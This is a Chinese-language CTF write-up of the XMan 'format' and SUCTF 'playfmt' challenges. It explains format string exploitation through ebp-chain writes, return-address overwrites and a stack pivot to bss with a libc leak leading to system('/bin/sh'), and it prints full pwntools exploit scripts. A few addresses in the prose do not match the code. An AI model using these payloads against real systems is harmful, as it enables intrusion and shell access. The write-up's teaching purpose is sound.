格式化字符串
第三届华为杯“XMan”冬令营 format:
这题的知识点是格式化字符串漏洞,不同于以前的题目,这题的format是直接写载堆上的,所以我们没法布置地址达到直接修改程序返回地址的目的。不过这题子函数调用的非常多,而且是层层调用,这就让修改子程序栈空间控制执行流成为可能。
拿其中一次调试的程序栈空间为例:
已知:
- 地址0xffd2fd70~0xffd2fd98是有格式化字符串漏洞的栈空间,0xffd2fd9c存的是该函数的返回地址(为了便于讨论,我们将其命名为函数1)
- 地址0xffd2fda0~0xffd2fd8b是前一个函数的栈空间,0xffd2fdbc存的是该函数的返回地址(其为函数2)
所以这题的利用思路是:
- 先利用%10$hhn修改函数2栈底内容为0xffd2fdbc,也就是存函数2返回地址的栈空间地址
- 再利用利用%18$hn修改函数2的返回地址为程序给的后门函数的地址
需要注意的是因为栈地址随机化我们需要爆破栈地址的第二个十六进制位,我的脚本没有爆破功能,读者可以自己写一个。最终exp如下:
from pwn import * context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) p = process('./chall') p.recvuntil('...\n') p.recvuntil('...\n') payload = '%10$p' + '|' + '%' + str(0x1c) + 'c' + '%10$hhn' + '|' + '%' + str(0x85ab) + 'c' + '%18$hn' p.sendline(payload) p.interactive()
SUCTF址playfmt:
解法一
这是一道典型的格式化字符串漏洞,栈布局如下:
因为多次的子函数调用让程序存在ebp链,这样就可以实现任意地址写,利用思路如下:
- %104c%6$hhn修改0xffb22978最后一个字节为0x88
- %10c%14$hhn修改0xff22988中的值为flag的chunk地址
- 利用%18$s泄漏
exp如下:
from pwn import * context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) p = process('./playfmt') payload = '%104c%6$hhn' p.sendline(payload) gdb.attach(p) p.sendline('%16c%14$hhn') #sleep(10) p.sendline('%18$s') p.interactive()
解法二:
仔细观察可知main函数最后的返回代码如下:
我们可以利用格式化字符串漏洞修改esp-0x4所在地址的值,把栈迁移到bss中。
栈迁移时注意最好把栈迁移到bss节的末尾,这样可以避免因函数调用使栈生长到非法地址出。
利用思路:
- 栈迁移到bss出
- puts泄漏libc
- read读入system函数地址到read函数后面,可以用pop来修正
- getshell
exp如下:
#-*- coding:utf-8 -*- from LibcSearcher import * from pwn import * context(os = 'linux', arch = 'i386', terminal = ['tmux', 'splitw', '-h']) #context.log_level = 'debug' p = process('./playfmt') elf = ELF('playfmt') leave_ret_addr = 0x080487b8 puts_got = elf.got['puts'] payload = '%156c%6$hhn' p.sendline(payload) payload = '%184c%14$hhn' p.sendline(payload) payload = '%157c%6$hhn' p.sendline(payload) payload = '%135c%14$hhn' p.sendline(payload) payload = '%158c%6$hhn' p.sendline(payload) payload = '%4c%14$hhn' p.sendline(payload) payload = '%159c%6$hhn' p.sendline(payload) payload = '%8c%14$hhn' p.sendline(payload) payload = '%136c%6$hhn' #恢复栈底指针 p.sendline(payload) #******************************************* bss_addr = 0x0804b060 p.sendline('%96c%14$hhn') p.sendline('%137c%6$hhn') p.sendline('%176c%14$hhn') p.sendline('%138c%6$hhn') p.sendline('%4c%14$hhn') p.sendline('%139c%6$hhn') p.sendline('%8c%14$hhn') p.sendline('%136c%6$hhn') #恢复栈底指针 ######################################### puts_plt = 0x08048730 info("puts_plt ==> " + hex(puts_plt)) read_plt = 0x080486e8 info("read_plt ==> " + hex(read_plt)) pop_ebp = 0x08048c7b pop_esi_edi_ebp = 0x08048c79 payload = 'quit' payload += '/bin/sh\x00' payload += (0x20-len(payload))*'A' payload += p32(0x0804bf00) #payload += p32(puts_plt) payload += p32(read_plt) payload += p32(leave_ret_addr) payload += p32(0) payload += p32(0x0804bf00) payload += p32(100) #gdb.attach(p, 'b * 0x08048ae8') p.sendline(payload) payload = 'AAAA' payload += p32(puts_plt) payload += p32(pop_ebp) payload += p32(puts_got) payload += p32(read_plt) payload += p32(pop_esi_edi_ebp) payload += p32(0) payload += p32(0x0804bf24) payload += p32(12) #0x08070020 #sleep(30) p.sendline(payload) puts_addr = u32(p.recvuntil('\xf7')[-4:]) info("puts_addr ==> " + hex(puts_addr)) libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') system = libc_base + libc.dump('system') info("system ==> " + hex(system)) payload = p32(system) + 'AAAA' + p32(0x0804b044) p.sendline(payload) p.interactive()